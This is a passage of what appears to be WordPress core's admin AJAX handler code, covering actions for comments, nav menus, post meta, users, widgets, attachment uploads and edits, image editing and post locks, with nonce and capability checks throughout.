$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
$comment = get_comment( $comment_id );
if ( empty( $comment->comment_ID ) )
wp_die( -1 );
ob_start();
$wp_list_table->single_row( $comment );
$comment_list_item = ob_get_clean();
$x = new WP_Ajax_Response();
$x->add( array(
'what' => 'edit_comment',
'id' => $comment->comment_ID,
'data' => $comment_list_item,
'position' => $position
));
$x->send();
}
function wp_ajax_add_menu_item() {
check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
if ( ! current_user_can( 'edit_theme_options' ) )
wp_die( -1 );
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
// For performance reasons, we omit some object properties from the checklist.
// The following is a hacky way to restore them when adding non-custom items.
$menu_items_data = array();
foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
if (
! empty( $menu_item_data['menu-item-type'] ) &&
'custom' != $menu_item_data['menu-item-type'] &&
! empty( $menu_item_data['menu-item-object-id'] )
) {
switch( $menu_item_data['menu-item-type'] ) {
case 'post_type' :
$_object = get_post( $menu_item_data['menu-item-object-id'] );
break;
case 'taxonomy' :
$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
break;
}
$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
$_menu_item = array_shift( $_menu_items );
// Restore the missing menu item properties
$menu_item_data['menu-item-description'] = $_menu_item->description;
}
$menu_items_data[] = $menu_item_data;
}
$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
if ( is_wp_error( $item_ids ) )
wp_die( 0 );
$menu_items = array();
foreach ( (array) $item_ids as $menu_item_id ) {
$menu_obj = get_post( $menu_item_id );
if ( ! empty( $menu_obj->ID ) ) {
$menu_obj = wp_setup_nav_menu_item( $menu_obj );
$menu_obj->label = $menu_obj->title; // don't show "(pending)" in ajax-added items
$menu_items[] = $menu_obj;
}
}
/**
* Filter the Walker class used when adding nav menu items.
*
* @since 3.4.0
*
* @param string $class The walker class to use. Default 'Walker_Nav_Menu_Edit'.
* @param int $menu_id The menu id, derived from $_POST['menu'].
*/
$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );
if ( ! class_exists( $walker_class_name ) )
wp_die( 0 );
if ( ! empty( $menu_items ) ) {
$args = array(
'after' => '',
'before' => '',
'link_after' => '',
'link_before' => '',
'walker' => new $walker_class_name,
);
echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
}
wp_die();
}
function wp_ajax_add_meta() {
check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
$c = 0;
$pid = (int) $_POST['post_id'];
$post = get_post( $pid );
if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) {
if ( !current_user_can( 'edit_post', $pid ) )
wp_die( -1 );
if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) )
wp_die( 1 );
if ( $post->post_status == 'auto-draft' ) {
$save_POST = $_POST; // Backup $_POST
$_POST = array(); // Make it empty for edit_post()
$_POST['action'] = 'draft'; // Warning fix
$_POST['post_ID'] = $pid;
$_POST['post_type'] = $post->post_type;
$_POST['post_status'] = 'draft';
$now = current_time('timestamp', 1);
$_POST['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), date( get_option( 'date_format' ), $now ), date( get_option( 'time_format' ), $now ) );
if ( $pid = edit_post() ) {
if ( is_wp_error( $pid ) ) {
$x = new WP_Ajax_Response( array(
'what' => 'meta',
'data' => $pid
) );
$x->send();
}
$_POST = $save_POST; // Now we can restore original $_POST again
if ( !$mid = add_meta( $pid ) )
wp_die( __( 'Please provide a custom field value.' ) );
} else {
wp_die( 0 );
}
} else if ( !$mid = add_meta( $pid ) ) {
wp_die( __( 'Please provide a custom field value.' ) );
}
$meta = get_metadata_by_mid( 'post', $mid );
$pid = (int) $meta->post_id;
$meta = get_object_vars( $meta );
$x = new WP_Ajax_Response( array(
'what' => 'meta',
'id' => $mid,
'data' => _list_meta_row( $meta, $c ),
'position' => 1,
'supplemental' => array('postid' => $pid)
) );
} else { // Update?
$mid = (int) key( $_POST['meta'] );
$key = wp_unslash( $_POST['meta'][$mid]['key'] );
$value = wp_unslash( $_POST['meta'][$mid]['value'] );
if ( '' == trim($key) )
wp_die( __( 'Please provide a custom field name.' ) );
if ( '' == trim($value) )
wp_die( __( 'Please provide a custom field value.' ) );
if ( ! $meta = get_metadata_by_mid( 'post', $mid ) )
wp_die( 0 ); // if meta doesn't exist
if ( is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
! current_user_can( 'edit_post_meta', $meta->post_id, $key ) )
wp_die( -1 );
if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
if ( !$u = update_metadata_by_mid( 'post', $mid, $value, $key ) )
wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
}
$x = new WP_Ajax_Response( array(
'what' => 'meta',
'id' => $mid, 'old_id' => $mid,
'data' => _list_meta_row( array(
'meta_key' => $key,
'meta_value' => $value,
'meta_id' => $mid
), $c ),
'position' => 0,
'supplemental' => array('postid' => $meta->post_id)
) );
}
$x->send();
}
function wp_ajax_add_user( $action ) {
global $wp_list_table;
if ( empty( $action ) )
$action = 'add-user';
check_ajax_referer( $action );
if ( ! current_user_can('create_users') )
wp_die( -1 );
if ( ! $user_id = edit_user() ) {
wp_die( 0 );
} elseif ( is_wp_error( $user_id ) ) {
$x = new WP_Ajax_Response( array(
'what' => 'user',
'id' => $user_id
) );
$x->send();
}
$user_object = get_userdata( $user_id );
$wp_list_table = _get_list_table('WP_Users_List_Table');
$role = current( $user_object->roles );
$x = new WP_Ajax_Response( array(
'what' => 'user',
'id' => $user_id,
'data' => $wp_list_table->single_row( $user_object, '', $role ),
'supplemental' => array(
'show-link' => sprintf(__( 'User <a href="#%s">%s</a> added' ), "user-$user_id", $user_object->user_login),
'role' => $role,
)
) );
$x->send();
}
function wp_ajax_closed_postboxes() {
check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed']) : array();
$closed = array_filter($closed);
$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden']) : array();
$hidden = array_filter($hidden);
$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
if ( $page != sanitize_key( $page ) )
wp_die( 0 );
if ( ! $user = wp_get_current_user() )
wp_die( -1 );
if ( is_array($closed) )
update_user_option($user->ID, "closedpostboxes_$page", $closed, true);
if ( is_array($hidden) ) {
$hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu') ); // postboxes that are always shown
update_user_option($user->ID, "metaboxhidden_$page", $hidden, true);
}
wp_die( 1 );
}
function wp_ajax_hidden_columns() {
check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
$hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : '';
$hidden = explode( ',', $_POST['hidden'] );
$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
if ( $page != sanitize_key( $page ) )
wp_die( 0 );
if ( ! $user = wp_get_current_user() )
wp_die( -1 );
if ( is_array($hidden) )
update_user_option($user->ID, "manage{$page}columnshidden", $hidden, true);
wp_die( 1 );
}
function wp_ajax_update_welcome_panel() {
check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );
if ( ! current_user_can( 'edit_theme_options' ) )
wp_die( -1 );
update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );
wp_die( 1 );
}
function wp_ajax_menu_get_metabox() {
if ( ! current_user_can( 'edit_theme_options' ) )
wp_die( -1 );
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
if ( isset( $_POST['item-type'] ) && 'post_type' == $_POST['item-type'] ) {
$type = 'posttype';
$callback = 'wp_nav_menu_item_post_type_meta_box';
$items = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' == $_POST['item-type'] ) {
$type = 'taxonomy';
$callback = 'wp_nav_menu_item_taxonomy_meta_box';
$items = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
}
if ( ! empty( $_POST['item-object'] ) && isset( $items[$_POST['item-object']] ) ) {
$menus_meta_box_object = $items[ $_POST['item-object'] ];
/**
* Filter a nav menu meta box object.
*
* @since 3.0.0
*
* @param object $menus_meta_box_object A nav menu meta box object, such as Page,
* Post, Category, Tag, etc.
*/
$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );
ob_start();
call_user_func_array($callback, array(
null,
array(
'id' => 'add-' . $item->name,
'title' => $item->labels->name,
'callback' => $callback,
'args' => $item,
)
));
$markup = ob_get_clean();
echo json_encode(array(
'replace-id' => $type . '-' . $item->name,
'markup' => $markup,
));
}
wp_die();
}
function wp_ajax_wp_link_ajax() {
check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );
$args = array();
if ( isset( $_POST['search'] ) )
$args['s'] = wp_unslash( $_POST['search'] );
$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;
require(ABSPATH . WPINC . '/class-wp-editor.php');
$results = _WP_Editors::wp_link_query( $args );
if ( ! isset( $results ) )
wp_die( 0 );
echo json_encode( $results );
echo "\n";
wp_die();
}
function wp_ajax_menu_locations_save() {
if ( ! current_user_can( 'edit_theme_options' ) )
wp_die( -1 );
check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
if ( ! isset( $_POST['menu-locations'] ) )
wp_die( 0 );
set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
wp_die( 1 );
}
function wp_ajax_meta_box_order() {
check_ajax_referer( 'meta-box-order' );
$order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';
if ( $page_columns != 'auto' )
$page_columns = (int) $page_columns;
$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
if ( $page != sanitize_key( $page ) )
wp_die( 0 );
if ( ! $user = wp_get_current_user() )
wp_die( -1 );
if ( $order )
update_user_option($user->ID, "meta-box-order_$page", $order, true);
if ( $page_columns )
update_user_option($user->ID, "screen_layout_$page", $page_columns, true);
wp_die( 1 );
}
function wp_ajax_menu_quick_search() {
if ( ! current_user_can( 'edit_theme_options' ) )
wp_die( -1 );
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
_wp_ajax_menu_quick_search( $_POST );
wp_die();
}
function wp_ajax_get_permalink() {
check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
wp_die( add_query_arg( array( 'preview' => 'true' ), get_permalink( $post_id ) ) );
}
function wp_ajax_sample_permalink() {
check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
$title = isset($_POST['new_title'])? $_POST['new_title'] : '';
$slug = isset($_POST['new_slug'])? $_POST['new_slug'] : null;
wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
}
function wp_ajax_inline_save() {
global $wp_list_table;
check_ajax_referer( 'inlineeditnonce', '_inline_edit' );
if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) )
wp_die();
if ( 'page' == $_POST['post_type'] ) {
if ( ! current_user_can( 'edit_page', $post_ID ) )
wp_die( __( 'You are not allowed to edit this page.' ) );
} else {
if ( ! current_user_can( 'edit_post', $post_ID ) )
wp_die( __( 'You are not allowed to edit this post.' ) );
}
if ( $last = wp_check_post_lock( $post_ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ), esc_html( $last_user_name ) );
wp_die();
}
$data = &$_POST;
$post = get_post( $post_ID, ARRAY_A );
$post = wp_slash($post); //since it is from db
$data['content'] = $post['post_content'];
$data['excerpt'] = $post['post_excerpt'];
// rename
$data['user_ID'] = get_current_user_id();
if ( isset($data['post_parent']) )
$data['parent_id'] = $data['post_parent'];
// status
if ( isset($data['keep_private']) && 'private' == $data['keep_private'] )
$data['post_status'] = 'private';
else
$data['post_status'] = $data['_status'];
if ( empty($data['comment_status']) )
$data['comment_status'] = 'closed';
if ( empty($data['ping_status']) )
$data['ping_status'] = 'closed';
// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ) ) ) {
$post['post_status'] = 'publish';
$data['post_name'] = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
}
// update the post
edit_post();
$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );
$mode = $_POST['post_view'];
$level = 0;
$request_post = array( get_post( $_POST['post_ID'] ) );
$parent = $request_post[0]->post_parent;
while ( $parent > 0 ) {
$parent_post = get_post( $parent );
$parent = $parent_post->post_parent;
$level++;
}
$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );
wp_die();
}
function wp_ajax_inline_save_tax() {
global $wp_list_table;
check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );
$taxonomy = sanitize_key( $_POST['taxonomy'] );
$tax = get_taxonomy( $taxonomy );
if ( ! $tax )
wp_die( 0 );
if ( ! current_user_can( $tax->cap->edit_terms ) )
wp_die( -1 );
$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );
if ( ! isset($_POST['tax_ID']) || ! ( $id = (int) $_POST['tax_ID'] ) )
wp_die( -1 );
$tag = get_term( $id, $taxonomy );
$_POST['description'] = $tag->description;
$updated = wp_update_term($id, $taxonomy, $_POST);
if ( $updated && !is_wp_error($updated) ) {
$tag = get_term( $updated['term_id'], $taxonomy );
if ( !$tag || is_wp_error( $tag ) ) {
if ( is_wp_error($tag) && $tag->get_error_message() )
wp_die( $tag->get_error_message() );
wp_die( __( 'Item not updated.' ) );
}
} else {
if ( is_wp_error($updated) && $updated->get_error_message() )
wp_die( $updated->get_error_message() );
wp_die( __( 'Item not updated.' ) );
}
$level = 0;
$parent = $tag->parent;
while ( $parent > 0 ) {
$parent_tag = get_term( $parent, $taxonomy );
$parent = $parent_tag->parent;
$level++;
}
$wp_list_table->single_row( $tag, $level );
wp_die();
}
function wp_ajax_find_posts() {
global $wpdb;
check_ajax_referer( 'find-posts' );
$post_types = get_post_types( array( 'public' => true ), 'objects' );
unset( $post_types['attachment'] );
$s = wp_unslash( $_POST['ps'] );
$searchand = $search = '';
$args = array(
'post_type' => array_keys( $post_types ),
'post_status' => 'any',
'posts_per_page' => 50,
);
if ( '' !== $s )
$args['s'] = $s;
$posts = get_posts( $args );
if ( ! $posts )
wp_die( __('No items found.') );
$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th class="no-break">'.__('Type').'</th><th class="no-break">'.__('Date').'</th><th class="no-break">'.__('Status').'</th></tr></thead><tbody>';
$alt = '';
foreach ( $posts as $post ) {
$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
switch ( $post->post_status ) {
case 'publish' :
case 'private' :
$stat = __('Published');
break;
case 'future' :
$stat = __('Scheduled');
break;
case 'pending' :
$stat = __('Pending Review');
break;
case 'draft' :
$stat = __('Draft');
break;
}
if ( '0000-00-00 00:00:00' == $post->post_date ) {
$time = '';
} else {
/* translators: date format in table columns, see http://php.net/date */
$time = mysql2date(__('Y/m/d'), $post->post_date);
}
$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>';
$html .= '<td><label for="found-'.$post->ID.'">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[$post->post_type]->labels->singular_name ) . '</td><td class="no-break">'.esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ). ' </td></tr>' . "\n\n";
}
$html .= '</tbody></table>';
wp_send_json_success( $html );
}
function wp_ajax_widgets_order() {
check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
if ( !current_user_can('edit_theme_options') )
wp_die( -1 );
unset( $_POST['savewidgets'], $_POST['action'] );
// save widgets order for all sidebars
if ( is_array($_POST['sidebars']) ) {
$sidebars = array();
foreach ( $_POST['sidebars'] as $key => $val ) {
$sb = array();
if ( !empty($val) ) {
$val = explode(',', $val);
foreach ( $val as $k => $v ) {
if ( strpos($v, 'widget-') === false )
continue;
$sb[$k] = substr($v, strpos($v, '_') + 1);
}
}
$sidebars[$key] = $sb;
}
wp_set_sidebars_widgets($sidebars);
wp_die( 1 );
}
wp_die( -1 );
}
function wp_ajax_save_widget() {
global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
if ( !current_user_can('edit_theme_options') || !isset($_POST['id_base']) )
wp_die( -1 );
unset( $_POST['savewidgets'], $_POST['action'] );
/**
* Fires early when editing the widgets displayed in sidebars.
*
* @since 2.8.0
*/
do_action( 'load-widgets.php' );
/**
* Fires early when editing the widgets displayed in sidebars.
*
* @since 2.8.0
*/
do_action( 'widgets.php' );
/** This action is documented in wp-admin/widgets.php */
do_action( 'sidebar_admin_setup' );
$id_base = $_POST['id_base'];
$widget_id = $_POST['widget-id'];
$sidebar_id = $_POST['sidebar'];
$multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0;
$settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false;
$error = '<p>' . __('An error has occurred. Please reload the page and try again.') . '</p>';
$sidebars = wp_get_sidebars_widgets();
$sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array();
// delete
if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
if ( !isset($wp_registered_widgets[$widget_id]) )
wp_die( $error );
$sidebar = array_diff( $sidebar, array($widget_id) );
$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
} elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) {
if ( !$multi_number )
wp_die( $error );
$_POST['widget-' . $id_base] = array( $multi_number => array_shift($settings) );
$widget_id = $id_base . '-' . $multi_number;
$sidebar[] = $widget_id;
}
$_POST['widget-id'] = $sidebar;
foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
if ( $name == $id_base ) {
if ( !is_callable( $control['callback'] ) )
continue;
ob_start();
call_user_func_array( $control['callback'], $control['params'] );
ob_end_clean();
break;
}
}
if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
$sidebars[$sidebar_id] = $sidebar;
wp_set_sidebars_widgets($sidebars);
echo "deleted:$widget_id";
wp_die();
}
if ( !empty($_POST['add_new']) )
wp_die();
if ( $form = $wp_registered_widget_controls[$widget_id] )
call_user_func_array( $form['callback'], $form['params'] );
wp_die();
}
function wp_ajax_update_widget() {
global $wp_customize;
$wp_customize->widgets->wp_ajax_update_widget();
}
function wp_ajax_upload_attachment() {
check_ajax_referer( 'media-form' );
if ( ! current_user_can( 'upload_files' ) )
wp_die();
if ( isset( $_REQUEST['post_id'] ) ) {
$post_id = $_REQUEST['post_id'];
if ( ! current_user_can( 'edit_post', $post_id ) )
wp_die();
} else {
$post_id = null;
}
$post_data = isset( $_REQUEST['post_data'] ) ? $_REQUEST['post_data'] : array();
// If the context is custom header or background, make sure the uploaded file is an image.
if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ) ) ) {
$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'], false );
if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
echo json_encode( array(
'success' => false,
'data' => array(
'message' => __( 'The uploaded file is not a valid image. Please try again.' ),
'filename' => $_FILES['async-upload']['name'],
)
) );
wp_die();
}
}
$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );
if ( is_wp_error( $attachment_id ) ) {
echo json_encode( array(
'success' => false,
'data' => array(
'message' => $attachment_id->get_error_message(),
'filename' => $_FILES['async-upload']['name'],
)
) );
wp_die();
}
if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
if ( 'custom-background' === $post_data['context'] )
update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
if ( 'custom-header' === $post_data['context'] )
update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
}
if ( ! $attachment = wp_prepare_attachment_for_js( $attachment_id ) )
wp_die();
echo json_encode( array(
'success' => true,
'data' => $attachment,
) );
wp_die();
}
function wp_ajax_image_editor() {
$attachment_id = intval($_POST['postid']);
if ( empty($attachment_id) || !current_user_can('edit_post', $attachment_id) )
wp_die( -1 );
check_ajax_referer( "image_editor-$attachment_id" );
include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
$msg = false;
switch ( $_POST['do'] ) {
case 'save' :
$msg = wp_save_image($attachment_id);
$msg = json_encode($msg);
wp_die( $msg );
break;
case 'scale' :
$msg = wp_save_image($attachment_id);
break;
case 'restore' :
$msg = wp_restore_image($attachment_id);
break;
}
wp_image_editor($attachment_id, $msg);
wp_die();
}
function wp_ajax_set_post_thumbnail() {
$json = ! empty( $_REQUEST['json'] ); // New-style request
$post_ID = intval( $_POST['post_id'] );
if ( ! current_user_can( 'edit_post', $post_ID ) )
wp_die( -1 );
$thumbnail_id = intval( $_POST['thumbnail_id'] );
if ( $json )
check_ajax_referer( "update-post_$post_ID" );
else
check_ajax_referer( "set_post_thumbnail-$post_ID" );
if ( $thumbnail_id == '-1' ) {
if ( delete_post_thumbnail( $post_ID ) ) {
$return = _wp_post_thumbnail_html( null, $post_ID );
$json ? wp_send_json_success( $return ) : wp_die( $return );
} else {
wp_die( 0 );
}
}
if ( set_post_thumbnail( $post_ID, $thumbnail_id ) ) {
$return = _wp_post_thumbnail_html( $thumbnail_id, $post_ID );
$json ? wp_send_json_success( $return ) : wp_die( $return );
}
wp_die( 0 );
}
function wp_ajax_date_format() {
wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}
function wp_ajax_time_format() {
wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}
function wp_ajax_wp_fullscreen_save_post() {
$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;
$post = $post_type = null;
if ( $post_id )
$post = get_post( $post_id );
if ( $post )
$post_type = $post->post_type;
elseif ( isset( $_POST['post_type'] ) && post_type_exists( $_POST['post_type'] ) )
$post_type = $_POST['post_type'];
check_ajax_referer('update-post_' . $post_id, '_wpnonce');
$post_id = edit_post();
if ( is_wp_error( $post_id ) ) {
wp_send_json_error();
}
if ( $post ) {
$last_date = mysql2date( get_option('date_format'), $post->post_modified );
$last_time = mysql2date( get_option('time_format'), $post->post_modified );
} else {
$last_date = date_i18n( get_option('date_format') );
$last_time = date_i18n( get_option('time_format') );
}
if ( $last_id = get_post_meta( $post_id, '_edit_last', true ) ) {
$last_user = get_userdata( $last_id );
$last_edited = sprintf( __('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), $last_date, $last_time );
} else {
$last_edited = sprintf( __('Last edited on %1$s at %2$s'), $last_date, $last_time );
}
wp_send_json_success( array( 'last_edited' => $last_edited ) );
}
function wp_ajax_wp_remove_post_lock() {
if ( empty( $_POST['post_ID'] ) || empty( $_POST['active_post_lock'] ) )
wp_die( 0 );
$post_id = (int) $_POST['post_ID'];
if ( ! $post = get_post( $post_id ) )
wp_die( 0 );
check_ajax_referer( 'update-post_' . $post_id );
if ( ! current_user_can( 'edit_post', $post_id ) )
wp_die( -1 );
$active_lock = array_map( 'absint', explode( ':', $_POST['active_post_lock'] ) );
if ( $active_lock[1] != get_current_user_id() )
wp_die( 0 );
/**
* Filter the post lock window duration.
*
* @since 3.3.0
*
* @param int $interval The interval in seconds the post lock duration
* should last, plus 5 seconds. Default 150.
*/
$new_lock = ( time() - apply_filters( 'wp_check_post_lock_window', 150 ) + 5 ) . ':' . $active_lock[1];
update_post_meta( $post_id, '_edit_lock', $new_lock, implode( ':', $active_lock ) );
wp_die( 1 );
}
function wp_ajax_dismiss_wp_pointer() {
$pointer = $_POST['pointer'];
if ( $pointer != sanitize_key( $pointer ) )
wp_die( 0 );
// check_ajax_referer( 'dismiss-pointer_' . $pointer );
$dismissed = array_filter( explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ) );
if ( in_array( $pointer, $dismissed ) )
wp_die( 0 );
$dismissed[] = $pointer;
$dismissed = implode( ',', $dismissed );
update_user_meta( get_current_user_id(), 'dismissed_wp_pointers', $dismissed );
wp_die( 1 );
}
/**
* Get an attachment.
*
* @since 3.5.0
*/
function wp_ajax_get_attachment() {
if ( ! isset( $_REQUEST['id'] ) )
wp_send_json_error();
if ( ! $id = absint( $_REQUEST['id'] ) )
wp_send_json_error();
if ( ! $post = get_post( $id ) )
wp_send_json_error();
if ( 'attachment' != $post->post_type )
wp_send_json_error();
if ( ! current_user_can( 'upload_files' ) )
wp_send_json_error();
if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
wp_send_json_error();
wp_send_json_success( $attachment );
}
/**
* Query for attachments.
*
* @since 3.5.0
*/
function wp_ajax_query_attachments() {
if ( ! current_user_can( 'upload_files' ) )
wp_send_json_error();
$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
$query = array_intersect_key( $query, array_flip( array(
's', 'order', 'orderby', 'posts_per_page', 'paged', 'post_mime_type',
'post_parent', 'post__in', 'post__not_in',
) ) );
$query['post_type'] = 'attachment';
$query['post_status'] = 'inherit';
if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) )
$query['post_status'] .= ',private';
/**
* Filter the arguments passed to WP_Query during an AJAX
* call for querying attachments.
*
* @since 3.7.0
*
* @see WP_Query::parse_query()
*
* @param array $query An array of query variables.
*/
$query = apply_filters( 'ajax_query_attachments_args', $query );
$query = new WP_Query( $query );
$posts = array_map( 'wp_prepare_attachment_for_js', $query->posts );
$posts = array_filter( $posts );
wp_send_json_success( $posts );
}
/**
* Save attachment attributes.
*
* @since 3.5.0
*/
function wp_ajax_save_attachment() {
if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) )
wp_send_json_error();
if ( ! $id = absint( $_REQUEST['id'] ) )
wp_send_json_error();
check_ajax_referer( 'update-post_' . $id, 'nonce' );
if ( ! current_user_can( 'edit_post', $id ) )
wp_send_json_error();
$changes = $_REQUEST['changes'];
$post = get_post( $id, ARRAY_A );
if ( 'attachment' != $post['post_type'] )
wp_send_json_error();
if ( isset( $changes['title'] ) )
$post['post_title'] = $changes['title'];
if ( isset( $changes['caption'] ) )
$post['post_excerpt'] = $changes['caption'];
if ( isset( $changes['description'] ) )
$post['post_content'] = $changes['description'];
if ( isset( $changes['alt'] ) ) {
$alt = wp_unslash( $changes['alt'] );
if ( $alt != get_post_meta( $id, '_wp_attachment_image_alt', true ) ) {
$alt = wp_strip_all_tags( $alt, true );
update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
}
}
wp_update_post( $post );
wp_send_json_success();
}
/**
* Save backwards compatible attachment attributes.
*
* @since 3.5.0
*/
function wp_ajax_save_attachment_compat() {
if ( ! isset( $_REQUEST['id'] ) )
wp_send_json_error();
if ( ! $id = absint( $_REQUEST['id'] ) )
wp_send_json_error();
if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) )
wp_send_json_error();
$attachment_data = $_REQUEST['attachments'][ $id ];
check_ajax_referer( 'update-post_' . $id, 'nonce' );
if ( ! current_user_can( 'edit_post', $id ) )
wp_send_json_error();
$post = get_post( $id, ARRAY_A );
if ( 'attachment' != $post['post_type'] )
wp_send_json_error();
/** This filter is documented in wp-admin/includes/media.php */
$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );
if ( isset( $post['errors'] ) ) {
$errors = $post['errors']; // @todo return me and display me!
unset( $post['errors'] );
}
wp_update_post( $post );
foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
if ( isset( $attachment_data[ $taxonomy ] ) )
wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
}
if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
wp_send_json_error();
wp_send_json_success( $attachment );
}
function wp_ajax_save_attachment_order() {
if ( ! isset( $_REQUEST['post_id'] ) )
wp_send_json_error();
if ( ! $post_id = absint( $_REQUEST['post_id'] ) )
wp_send_json_error();
if ( empty( $_REQUEST['attachments'] ) )
wp_send_json_error();
check_ajax_referer( 'update-post_' . $post_id, 'nonce' );
$attachments = $_REQUEST['attachments'];
if ( ! current_user_can( 'edit_post', $post_id ) )
wp_send_json_error();
$post = get_post( $post_id, ARRAY_A );
foreach ( $attachments as $attachment_id => $menu_order ) {
